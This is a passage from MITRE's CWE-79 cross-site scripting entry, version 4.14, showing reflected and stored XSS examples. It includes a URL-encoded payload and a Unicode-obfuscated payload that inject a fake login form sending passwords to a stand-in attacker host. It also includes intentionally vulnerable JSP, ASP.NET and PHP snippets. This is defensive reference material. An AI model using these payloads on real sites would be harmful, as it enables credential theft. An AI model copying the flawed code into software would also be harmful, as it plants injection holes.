171
The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link.
However, an astute user may notice the suspicious text appended to the URL. An attacker may
further obfuscate the URL (the following example links are broken into multiple lines for readability):
Example Language: (Attack)
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
The same attack string could also be obfuscated as:
Example Language: (Attack)
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>
Both of these attack links will result in the fake login box appearing on the page, and users are
more likely to ignore indecipherable text at the end of URLs.
Example 2:
The following code displays a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it
to the user.
Example Language: JSP (Bad)
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
The following ASP.NET code segment reads an employee ID number from an HTTP request and
displays it to the user.
Example Language: ASP.NET (Bad)
<%
CWE Version 4.14
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-79: Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') 172
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>
<p><asp:label id="EmployeeID" runat="server" /></p>
The code in this example operates correctly if the Employee ID variable contains only standard
alphanumeric text. If it has a value that includes meta-characters or source code, then the code will
be executed by the web browser as it displays the HTTP response.
Example 3:
The following code displays a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID and prints the
corresponding employee's name.
Example Language: JSP (Bad)
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>
Employee Name: <%= name %>
The following ASP.NET code segment queries a database for an employee with a given employee
ID and prints the name corresponding with the ID.
Example Language: ASP.NET (Bad)
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>
This code can appear less dangerous because the value of name is read from a database, whose
contents are apparently managed by the application. However, if the value of name originates from
user-supplied data, then the database can be a conduit for malicious content. Without proper input
validation on all data stored in the database, an attacker can execute malicious commands in the
user's web browser.
Example 4:
The following code consists of two separate pages in a web application, one devoted to creating
user accounts and another devoted to listing active users currently logged in. It also displays a
Stored XSS (Type 2) scenario.
CreateUser.php
Example Language: PHP (Bad)
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),
$fullName) ;
mysql_query($query);
CWE Version 4.14
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-79: Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting')